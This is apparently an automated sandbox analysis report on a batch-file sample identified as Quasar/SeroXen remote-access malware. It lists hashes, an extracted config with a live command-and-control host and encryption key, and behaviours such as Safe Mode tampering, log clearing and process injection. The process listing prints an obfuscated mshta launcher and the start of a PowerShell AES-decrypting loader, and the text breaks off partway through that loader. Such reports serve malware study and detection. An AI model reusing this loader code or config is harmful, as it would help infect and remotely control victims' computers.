Analysis
- max time kernel
150s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
08/04/2026, 09:40
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win10v2004-20260129-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win11-20260130-en
General
- Target Uni.bat
- Size 11.9MB
- Sample260408-lnempsex2n
- SHA256 0e013c02ca3509f58d26b374a60483ae9fd4470d9dd31fd86db476a143a2cd5b
- MD5 62a3f0446d9cf1f52d49809254f7cb95
- SHA1 099fc1d31f59b4284f9c7232622f16dc15364e3d
- SHA512 b7f1afd1e273a978b04749d6737235056fd79d1fbb3102edbd6d1655fb7d049dfdb5d3785041fe0243aa44d045cacf127e94a1323da0664edf658a2a4d212911
- SSDEEP 49152:FCOf0pZFG+xcONsf6hx4SvUnk7ZJDOG8YfJTBxlOuBCKneisu9DHXlwXUgmmdOd9:8
- TLSH T185C6127E4D582D560A08DB2EA5E3185F37FAA94B0316A3F6FA5257077103B65E802F0F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
quasar
-
1.0.0.0
-
v3.0.0 | SeroXen
-
typecvd.chickenkiller.com:4780
-
9f9f3a98-1ee3-45b4-9cfa-b6154f1edfa8
-
encryption_key
699D261E2A7B0463FCEAAD043442491E0BA68247
-
install_name
.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
Signatures
- Quasar family
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/5280-63-0x0000022600010000-0x000002260080A000-memory.dmp family_quasar - Seroxen family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4972 powershell.exe - Deletes itself 1 IoCs
pid Process 4972 powershell.exe - Executes dropped EXE 5 IoCs
pid Process 5996 $sxr-mshta.exe 1112 $sxr-cmd.exe 5280 $sxr-powershell.exe 5612 $sxr-cmd.exe 5288 $sxr-powershell.exe - Impair Defenses: Safe Mode Boot 1 TTPs 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\InstallService\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mvumis\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\cdrom powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fastfat\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nvdimm powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RpcLocator powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SharedAccess powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SpbCx\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TroubleshootingSvc\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TSDDD\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\bthserv\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iaLPSS2i_I2C_GLK\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nvstor\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ReFSv1 powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\wbengine powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DmEnrollmentSvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PNRPAutoReg powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ShellHWDetection\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\srvnet\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\udfs powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WpdUpFltr powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UcmUcsiAcpiClient\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\amdsbs powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BasicDisplay powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\bcmfn2\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HTTP powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\USBXHCI powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ADOVMPPackage powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BTHPORT\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PerfProc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WmiApRpl powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HidIr\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RasAgileVpn\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RTL8023x64 powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\spaceparser powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TrustedInstaller powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\usbaudio2\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\LanmanWorkstation powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nsi\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\StateRepository powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\.NET CLR Networking 4.0.0.0\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\diagsvc powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iaLPSSi_GPIO powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RpcSs powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TimeBrokerSvc\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UmPass\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\vsmraid powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ReFSv1\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TrkWks powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinSock2 powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ADP80XX powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CaptureService\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\FDResPub\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ldap powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Ndu powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NgcCtnrSvc powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NPSMSvc powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\rdyboost\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\CDPSvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\LSM powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mouclass powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NetAdapterCx powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PushToInstall\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\storahci\ = "Service" powershell.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe - Hide Artifacts: Hidden Window 1 TTPs 3 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 5280 $sxr-powershell.exe 5612 $sxr-cmd.exe 5288 $sxr-powershell.exe - ConfuserEx .NET packer 2 IoCs
Detects ConfuserEx .NET packer.
resource yara_rule behavioral2/memory/4972-11-0x0000026ADD520000-0x0000026ADDDB8000-memory.dmp ConfuserEx behavioral2/memory/5280-59-0x000002267EEA0000-0x000002267F4B0000-memory.dmp ConfuserEx - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe - Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe File created C:\Windows\$sxr-powershell.exe powershell.exe File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 08 Apr 2026 09:42:07 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1D683F4E-F5F9-44B7-AD3C-DBD72FB72207}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1775641325" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4972 powershell.exe 4972 powershell.exe 4972 powershell.exe 4972 powershell.exe 4972 powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5288 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5288 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5288 $sxr-powershell.exe 5288 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe 5280 $sxr-powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3112 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4972 powershell.exe Token: SeDebugPrivilege 4972 powershell.exe Token: SeDebugPrivilege 4972 powershell.exe Token: SeDebugPrivilege 5280 $sxr-powershell.exe Token: SeDebugPrivilege 5280 $sxr-powershell.exe Token: SeDebugPrivilege 5280 $sxr-powershell.exe Token: SeDebugPrivilege 5288 $sxr-powershell.exe Token: SeShutdownPrivilege 3112 Explorer.EXE Token: SeCreatePagefilePrivilege 3112 Explorer.EXE Token: SeShutdownPrivilege 3112 Explorer.EXE Token: SeCreatePagefilePrivilege 3112 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2692 svchost.exe Token: SeIncreaseQuotaPrivilege 2692 svchost.exe Token: SeSecurityPrivilege 2692 svchost.exe Token: SeTakeOwnershipPrivilege 2692 svchost.exe Token: SeLoadDriverPrivilege 2692 svchost.exe Token: SeSystemtimePrivilege 2692 svchost.exe Token: SeBackupPrivilege 2692 svchost.exe Token: SeRestorePrivilege 2692 svchost.exe Token: SeShutdownPrivilege 2692 svchost.exe Token: SeSystemEnvironmentPrivilege 2692 svchost.exe Token: SeUndockPrivilege 2692 svchost.exe Token: SeManageVolumePrivilege 2692 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2692 svchost.exe Token: SeIncreaseQuotaPrivilege 2692 svchost.exe Token: SeSecurityPrivilege 2692 svchost.exe Token: SeTakeOwnershipPrivilege 2692 svchost.exe Token: SeLoadDriverPrivilege 2692 svchost.exe Token: SeSystemtimePrivilege 2692 svchost.exe Token: SeBackupPrivilege 2692 svchost.exe Token: SeRestorePrivilege 2692 svchost.exe Token: SeShutdownPrivilege 2692 svchost.exe Token: SeSystemEnvironmentPrivilege 2692 svchost.exe Token: SeUndockPrivilege 2692 svchost.exe Token: SeManageVolumePrivilege 2692 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2692 svchost.exe Token: SeIncreaseQuotaPrivilege 2692 svchost.exe Token: SeSecurityPrivilege 2692 svchost.exe Token: SeTakeOwnershipPrivilege 2692 svchost.exe Token: SeLoadDriverPrivilege 2692 svchost.exe Token: SeSystemtimePrivilege 2692 svchost.exe Token: SeBackupPrivilege 2692 svchost.exe Token: SeRestorePrivilege 2692 svchost.exe Token: SeShutdownPrivilege 2692 svchost.exe Token: SeSystemEnvironmentPrivilege 2692 svchost.exe Token: SeUndockPrivilege 2692 svchost.exe Token: SeManageVolumePrivilege 2692 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2692 svchost.exe Token: SeIncreaseQuotaPrivilege 2692 svchost.exe Token: SeSecurityPrivilege 2692 svchost.exe Token: SeTakeOwnershipPrivilege 2692 svchost.exe Token: SeLoadDriverPrivilege 2692 svchost.exe Token: SeSystemtimePrivilege 2692 svchost.exe Token: SeBackupPrivilege 2692 svchost.exe Token: SeRestorePrivilege 2692 svchost.exe Token: SeShutdownPrivilege 2692 svchost.exe Token: SeSystemEnvironmentPrivilege 2692 svchost.exe Token: SeUndockPrivilege 2692 svchost.exe Token: SeManageVolumePrivilege 2692 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2692 svchost.exe Token: SeIncreaseQuotaPrivilege 2692 svchost.exe Token: SeSecurityPrivilege 2692 svchost.exe Token: SeTakeOwnershipPrivilege 2692 svchost.exe Token: SeLoadDriverPrivilege 2692 svchost.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5280 $sxr-powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5944 wrote to memory of 788 5944 cmd.exe 80 PID 5944 wrote to memory of 4972 5944 cmd.exe 81 PID 5996 wrote to memory of 1112 5996 $sxr-mshta.exe 84 PID 1112 wrote to memory of 3424 1112 $sxr-cmd.exe 86 PID 1112 wrote to memory of 5280 1112 $sxr-cmd.exe 87 PID 5280 wrote to memory of 644 5280 $sxr-powershell.exe 5 PID 5280 wrote to memory of 700 5280 $sxr-powershell.exe 7 PID 5280 wrote to memory of 904 5280 $sxr-powershell.exe 11 PID 5280 wrote to memory of 400 5280 $sxr-powershell.exe 13 PID 5280 wrote to memory of 688 5280 $sxr-powershell.exe 14 PID 5280 wrote to memory of 1004 5280 $sxr-powershell.exe 15 PID 5280 wrote to memory of 1032 5280 $sxr-powershell.exe 16 PID 5280 wrote to memory of 1116 5280 $sxr-powershell.exe 17 PID 5280 wrote to memory of 1204 5280 $sxr-powershell.exe 19 PID 5280 wrote to memory of 1240 5280 $sxr-powershell.exe 20 PID 5280 wrote to memory of 1252 5280 $sxr-powershell.exe 21 PID 5280 wrote to memory of 1268 5280 $sxr-powershell.exe 22 PID 5280 wrote to memory of 1404 5280 $sxr-powershell.exe 23 PID 5280 wrote to memory of 1412 5280 $sxr-powershell.exe 24 PID 5280 wrote to memory of 1484 5280 $sxr-powershell.exe 25 PID 5280 wrote to memory of 1564 5280 $sxr-powershell.exe 26 PID 5280 wrote to memory of 1620 5280 $sxr-powershell.exe 27 PID 5280 wrote to memory of 1680 5280 $sxr-powershell.exe 28 PID 5280 wrote to memory of 1704 5280 $sxr-powershell.exe 29 PID 5280 wrote to memory of 1824 5280 $sxr-powershell.exe 30 PID 5280 wrote to memory of 1888 5280 $sxr-powershell.exe 31 PID 5280 wrote to memory of 1924 5280 $sxr-powershell.exe 32 PID 5280 wrote to memory of 1944 5280 $sxr-powershell.exe 33 PID 5280 wrote to memory of 1984 5280 $sxr-powershell.exe 34 PID 5280 wrote to memory of 1992 5280 $sxr-powershell.exe 35 PID 5280 wrote to memory of 2004 5280 $sxr-powershell.exe 36 PID 5280 wrote to memory of 1508 5280 $sxr-powershell.exe 37 PID 5280 wrote to memory of 1920 5280 $sxr-powershell.exe 38 PID 5280 wrote to memory of 2120 5280 $sxr-powershell.exe 39 PID 5280 wrote to memory of 2176 5280 $sxr-powershell.exe 41 PID 5280 wrote to memory of 2552 5280 $sxr-powershell.exe 42 PID 5280 wrote to memory of 2560 5280 $sxr-powershell.exe 43 PID 5280 wrote to memory of 2572 5280 $sxr-powershell.exe 44 PID 5280 wrote to memory of 2592 5280 $sxr-powershell.exe 45 PID 5280 wrote to memory of 2680 5280 $sxr-powershell.exe 47 PID 5280 wrote to memory of 2692 5280 $sxr-powershell.exe 48 PID 5280 wrote to memory of 2708 5280 $sxr-powershell.exe 49 PID 5280 wrote to memory of 2868 5280 $sxr-powershell.exe 50 PID 5280 wrote to memory of 2340 5280 $sxr-powershell.exe 51 PID 5280 wrote to memory of 2660 5280 $sxr-powershell.exe 52 PID 5280 wrote to memory of 3112 5280 $sxr-powershell.exe 53 PID 5280 wrote to memory of 3232 5280 $sxr-powershell.exe 54 PID 5280 wrote to memory of 3288 5280 $sxr-powershell.exe 55 PID 5280 wrote to memory of 3608 5280 $sxr-powershell.exe 58 PID 5280 wrote to memory of 3660 5280 $sxr-powershell.exe 59 PID 5280 wrote to memory of 3712 5280 $sxr-powershell.exe 60 PID 5280 wrote to memory of 3784 5280 $sxr-powershell.exe 61 PID 5280 wrote to memory of 3988 5280 $sxr-powershell.exe 62 PID 5280 wrote to memory of 4100 5280 $sxr-powershell.exe 63 PID 5280 wrote to memory of 6036 5280 $sxr-powershell.exe 66 PID 5280 wrote to memory of 4656 5280 $sxr-powershell.exe 67 PID 5280 wrote to memory of 5776 5280 $sxr-powershell.exe 68 PID 5280 wrote to memory of 1912 5280 $sxr-powershell.exe 70 PID 5280 wrote to memory of 3512 5280 $sxr-powershell.exe 71 PID 5280 wrote to memory of 2772 5280 $sxr-powershell.exe 72 PID 5280 wrote to memory of 5184 5280 $sxr-powershell.exe 73 PID 5280 wrote to memory of 2756 5280 $sxr-powershell.exe 75 PID 5280 wrote to memory of 3120 5280 $sxr-powershell.exe 76 PID 5280 wrote to memory of 5944 5280 $sxr-powershell.exe 78 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:644
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1004
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:700
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-21144b84-1899-47ae-ad2c-2f95f963dc2e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d4171899-1afa-4d27-b029-c14bcb8eaf60 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-27e8ed0e-d4cd-4db6-b579-503b8156bc1c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8c69c188-bf5f-42c2-85ed-c8ced003b96b -LifetimeId:34ecc275-0d00-48b7-b6ff-922d29b0c516 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:400
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1204
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-EuNdGLUHFlArpBxdiXIN4312:XEiLAGix=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5996 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-EuNdGLUHFlArpBxdiXIN4312:XEiLAGix=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2752
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $Pklfc=$fphRh.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = 